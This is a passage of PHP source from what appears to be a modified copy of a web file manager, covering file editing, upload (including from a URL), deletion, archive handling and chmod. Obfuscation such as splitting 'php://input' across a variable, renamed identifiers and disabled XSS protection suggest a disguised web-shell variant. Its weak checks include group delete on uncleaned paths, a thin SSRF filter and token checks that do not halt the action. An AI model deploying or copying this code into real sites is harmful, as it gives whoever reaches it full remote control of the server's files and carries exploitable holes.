defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
